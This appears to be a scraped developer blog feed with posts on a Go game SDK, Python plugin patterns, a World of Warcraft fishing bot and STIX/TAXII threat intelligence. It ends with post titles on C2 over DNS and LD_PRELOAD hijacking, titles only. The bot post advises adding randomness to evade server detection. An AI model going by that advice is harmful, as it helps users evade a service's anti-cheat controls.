Under the examples/analyze_games/ I've created an example that fetches about 3k games and put them into a SQLite database, after that you are able to analyze the data using SQL. I've created a simple query that gets the percentage of games
that are being finished at waves 15, 13 and 10.

In my case here are the results, games finished at wave

Wave 15	Wave 13	Wave 10
20%	14%	4%

Exporting the games

You can derive that from the previous example but I've created a dedicated examples for both exporting to JSON and exporting to SQL.

Fetching all of the Units

Since that the game hasn't got a dedicated route for fetching all the units I've created a simple example that resides in the repository under examples/get_all_units. The important thing here is that I've exported all the units into a single txt file and then I just spawn requests for each unit.

Conclusion

I will be updating the SDK as I am p

Creating a Plugin Architecture in Python

Dimitar — Tue, 04 Oct 2022 19:39:57 +0000

There are some use-cases where a plugin architecture is needed, I call this "code" plugins but it is quite possible that there is already a word for that. The idea is to 'load' functions or classes that are dynamically created so that you can have the reference to the instances at runtime. I've created 2 solutions for that matter one that is using the __subclasses__ dunder method and one using a decorator.

Solution 1

Repository: https://github.com/syrull/plugin-arch-python/tree/main/Solution-1

SOLUTION-1
│   configuration.py
│   main.py
│   README.md
│   setup.py
│
└───actions
        action_example1.py
        action_example2.py
        __init__.py

Loading the __subclasses__ of the BaseAction class and creating a 'pluggable' classes. The actions can be specified in the configuration.py file in the ACTIONS const. This method is inspired by django's INSTALLED_APPS method.

The call method is a placeholder for the "actions".

To Register an action

New python file in actions/ folder
Create a class with an appropriate name (ex. ClickAction)
Extend the class with BaseAction
Add an entry to ACTIONS const located in configuration.py file with the approriate path to the module

After that the function will be available at the register in the main.py file.

$ python main.py
[<class 'actions.action_example1.Example1Action'>, <class 'actions.action_example2.Example2Action'>]

Benchmarks

Measure-Command { python .\main.py }

Days              : 0
Hours             : 0
Minutes           : 0
Seconds           : 0
Milliseconds      : 24
Ticks             : 240745
TotalDays         : 2.78640046296296E-07
TotalHours        : 6.68736111111111E-06
TotalMinutes      : 0.000401241666666667
TotalSeconds      : 0.0240745
TotalMilliseconds : 24.0745

Solution 2

Repository: https://github.com/syrull/plugin-arch-python/tree/main/Solution-2

SOLUTION-2
│   main.py
│   README.md
│   register.py
│
└───actions
        action_example1.py
        action_example2.py
        __init__.py

The benefits of this solution are that we have a control over the decorator and we can pass some custom *args, **kwargs to the decorated functions.

To Register an action

New python file in actions/ folder
Create function with an appropriate name (ex. action_onclick)
Decorate the function with register_action decorator
Export the function in the __all__ method in actions/__init__.py file

After that the function will be available at the register in the main.py file.

$ python main.py
[<function action_example1 at 0x000001CC3F88D310>, <function action_example2 at 0x000001CC3F88D3A0>]

Benchmarks

Measure-Command { python .\main.py }

Days              : 0
Hours             : 0
Minutes           : 0
Seconds           : 0
Milliseconds      : 22
Ticks             : 227803
TotalDays         : 2.6366087962963E-07
TotalHours        : 6.32786111111111E-06
TotalMinutes      : 0.000379671666666667
TotalSeconds      : 0.0227803
TotalMilliseconds : 22.7803

Simple Fishing Bot for World of Warcraft

Dimitar — Tue, 04 Oct 2022 19:36:10 +0000

This fishing bot consists only of about 50 lines of code, it incorporates the mechanics of World of Warcraft and some simple Windows API Calls.

Repository: https://github.com/syrull/simple-fishing-bot

Overview

The bot has about ~99% success rate, there are some extremely rare cases where the bot won't catch it and I will explain why later. The method that the bot is using, should
work in almost any fishing scenario in the game, I would personally avoid crowded places. The testing has been done in the current expansion (Shadowlands).

The bot is running on the currently Active Window, I haven't performed checks wether this is the window of the game or not. It waits for about 2 seconds before it starts.

Metrics

Zereth Mortis: 29m 33s
Items Looted: 161

That means that we loot roughly about ~5.4 fish per minute.

Installation & Usage

Check the requirements.txt, for the Python Requirements and install them via pip install -r requirements.txt. The tests are done under Python3.10 however I believe everything should work with Python>=3.6.

Set the bait

Before using the bot, you need to supply it with an image of the bait. The image has to be on the bottom parts of the bait. Here is an example image, the green area indicates what would be a good image of the bait, it needs to be as small as possible.

Save the image and place it at the root of the script as bait.png, additionally you can adjust the variable BAIT_IMAGE in the `fishingbot.py.

⚠️ It is important for you to take the photo because of the graphical/display settings which can be different for each computer.

Fine-tune the script

The fine tunning that you have to do consists of:

python FISHING_BUTTON = "b" TUNE_BAIT_MOUSE_UNDER_PX = 35 EDGE_RESET = 10, 10 ACTIVE_AFTER = 2 CONFIDENCE = 0.7

Variable	Description
FISHING_BUTTON	The button that you use for fishing, in my case it was `b`
TUNE_BAIT_MOUSE_UNDER_PX	The offset pixels where the mouse is going to be whenever there is a bait, see the How it works? section
EDGE_RESET	Those are the `x, y` coordinates to reset the mouse after catching the fish, it is used to improve the success rate, leave it at `10, 10`
ACTIVE_AFTER	The bot simply waits 2 secs before it starts
CONFIDENCE	The confidence of the template matching

How it works?

The method is extremely simple, it utilizes two things. The first one is the Template Matching, this is what pyautogui.locateOnScreen uses under the hood and the second one is the PyGetCursorInfo function which is exposed by the win32gui lib.

The solution lies in the gif from the beginning, whenever the bobber actually catches a fish the AoE (Area of Effect) for the bobber becomes bigger allowing us to detect a change on the cursor, then we use the GetCursorInfo to catch the change of the cursor and if it becomes a different tuple from the default one which we set when there is nothing active on our cursor. Then we execute the click.

Now about the fine-tuning, look at this example

The TUNE_BAIT_MOUSE_UNDER_PX variable which doesn't have the best name ever is indicated with red, in simple terms it is how many pixels under the located bobber to place the mouse. For myself the range between 28-32 works the best, but as I said earlier this could differ.

Edge cases

There is a rare edge case when the default tuple for the cursor doesn't change which happens if the script isn't tune right, I've solved this by resetting the cursor at x=10, y=10 position of the screen and then bringing it back. In a case when the cursor's icon doesn't change and if it sits with the bait icon the bot would just wait the duration of the fishing and reset itself.

Additional features

I've added a bit of randomness in the timings between each press of the fishing and the click of the bobber with additionally pressing space every now and then. Apparently the server can detect that something fishy is going on when this randomness is removed.

STIX & TAXII - Complete Knowledge

Dimitar — Mon, 28 Mar 2022 21:44:41 +0000

Note: This is a personal knowledge hub that I am trying to create, some of the information can be misleading or wrong, please use this with caution!

Introduction

STIX

What is STIX and What is TAXII? In the most simple terms STIX is a model of Threat Intelligence that is represented in motivations, abilities, capabilities and response objects. Those objects are then represented in either JSON (STIX 2) or XML (STIX 1).

Here is a very simple representation of STIX Objects in a graph.

Explanation of the example

The data can be helpful for preventing or mitigating various kinds of attacks that can be expressed with STIX. All the list of the examples you can find in their official example page.

TAXII

The STIX data has to be relayed in some way, that's why we have the TAXII Server. It is a simple web server specifically created for storing and sharing that kind of data.

TAXII 1.x Structure

The TAXII 1.2 Server has the following structure:

Discovery Service - Within a POST request to their discovery URL (which should be pointed by the Server maintainers).
Collection Management URL - The service that has the collections with STIX objects.
Channels - Push/Subscribe pattern.

The full list of features for TAXII1 can be found in their official documentation:

TAXII 2.x Structure

For the newer versions of the TAXII Server we have the following structure:

/discovery - Discovers the paths to the different services provided by the Server.
api_roots - Provides the API URLs for the different types of Collection Management.
- collections - Provides the available collections for the given api_root.
  - collection/objects - Provides a list of STIX Objects in a given collection

You can see that this is very similar to the TAXII 1.x servers, there isn't much of a difference in the structure besides that the collection_management_url is api_root in TAXII 2.x.

The full list of features for TAXII2 can be found in their official documentation.

TAXII Servers and Threat Intelligence Providers

The information about this is very scarce so I've gathered a quick list of the known providers for STIX data.

Resource	URL	Description	Data Type
AlienVault OTX	https://otx.alienvault.com/api	Requires an account, provides data in various ways including a TAXII Server.	STIX 1.x
Threat Connect	https://threatconnect.com/stix-taxii/	Requires an account, Paid service, (consumes and provides) threat intel.	STIX 1.x/2.x
EcleticIQ	https://www.taxiistand.com/	Test TAXII (v1x) server. (quite unstable and inconsistent)	STIX 1.x
Limo - Anomali	https://www.anomali.com/resources/limo	Test TAXII (v1x/v2x) server. Somewhat unstable but mostly fine during tests.	STIX 1.x/2.x

Tools for STIX/TAXII

The main tool for creating/parsing or generating STIX data is going to be Python, since that all of the tools created are written in Python. Of course there are other alternatives but currently that's the most common one.

Other tools that might come in handy.

Tool	Description	Version
stix-shifter	Translates STIX to various other Threat Intelligence formats such as Carbon Black Cloud Query and others	STIX 1.x/2.x
stix2	The main python package to parse and use/create STIX2 data.	STIX 2.x
stix2-validator	Provides a validation for the STIX2 data, can be used to validate your data from your sources.	STIX 2.x
stix2-slider	Transforms STIX2 content to STIX1.2	STIX 2.x
stix2-elevator	Transforms STIX1 data to STIX2.x	STIX 1.x
stix	The main python package for STIX1 data.	STIX 1.x
stix-validator	Validating STIX1 data.	STIX 1.x
stix2-patterns	Validator and Pattern Parser for STIX 2.x Patterns	STIX 2.x
taxii2-client	Python Client for TAXII 2 Servers	TAXII 2.x
cabby	Python Client for TAXII 1 Servers	TAXII 1.x

Snippets and Gists

https://gist.github.com/syrull/6a2614560fb0474df166a51bcb34990d (Creating a TAXII2 Client for LimoAnomali)
https://gist.github.com/syrull/73b1798f90c4109a13ef9fceb1f2f858 (Creating a TAXII1 Client for OTXAlienVault)

DEV Community: Dimitar

Malware Samples - Some challenges from 2022

f8c4c946eaedcfa8bbb722970211c2c4a458f6483dafb5d5a7fd83b3daa441cd

Static Analysis Research - Windows PE

Overview

Keywords

Windows Portable Executable (PE)

DOS Header

DOS Stub / Rich Header

NT Headers (New Technology)

Sections Headers

Sections

Import Directory Table (IDT)

Resources

Exception Directory

Base Relocations

Debug

Load Config

Conclusion

References

Using DNS as C2 Communication - Evasive Techniques (Part 3)

Overview

Why DNS and not {arbitrary protocol}?

Implementation

Code / Demo

Usage

Conclusion

Resources

Dynamic Linker Hijacking Experiments - Evasive Techniques (Part 2)

Journey Post

Overview

Combining it with our readdir

End

Resources

Dynamic Linker Hijacking Experiments - Evasive Techniques (Part 1)

Overview

Implementation

How to overwrite the exported symbols? LD_PRELOAD

/etc/ld.so.preload

End

Resources

LegionTD2 SDK in Go

LegionTD SDK

Functionality

Analyze games

Exporting the games

Fetching all of the Units

Conclusion

Creating a Plugin Architecture in Python

Solution 1

To Register an action

Benchmarks

Solution 2

To Register an action

Benchmarks

Simple Fishing Bot for World of Warcraft

Overview

Metrics

Installation & Usage

Set the bait

Fine-tune the script

How it works?

Edge cases

Additional features

STIX & TAXII - Complete Knowledge

Introduction

STIX

TAXII

TAXII 1.x Structure

TAXII 2.x Structure

TAXII Servers and Threat Intelligence Providers

Tools for STIX/TAXII

Snippets and Gists

`f8c4c946eaedcfa8bbb722970211c2c4a458f6483dafb5d5a7fd83b3daa441cd`

Combining it with our `readdir`

How to overwrite the exported symbols? `LD_PRELOAD`